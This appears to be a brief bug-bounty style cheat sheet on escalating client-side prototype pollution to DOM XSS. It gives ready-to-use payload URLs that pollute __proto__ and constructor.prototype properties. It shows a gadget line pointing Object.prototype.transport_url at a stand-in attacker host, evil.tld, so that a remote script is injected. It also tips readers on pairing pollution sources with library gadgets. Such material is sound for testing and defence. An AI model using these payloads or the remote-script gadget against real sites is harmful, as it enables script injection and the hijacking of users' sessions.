Client-side prototype pollution to DOM XSS

Many front ends parse the query string into an object with a vulnerable merge. Pollute a property that a gadget later reads as configuration, such as a script source or sanitizer option.

https://target/?__proto__[src]=data:,alert(document.domain)//
https://target/?constructor[prototype][srcdoc]=

Identify the gadget with a scanner, then confirm the exact sink.

// gadget example: library reads cfg.transport_url it never set
Object.prototype.transport_url = "//evil.tld/x.js"; // -> script injected

Pro note: pair the pollution source (URL, JSON body, postMessage) with a known gadget from the exact library version in the bundle; ppmap style databases speed this up. Reports without a working gadget are usually downgraded to low.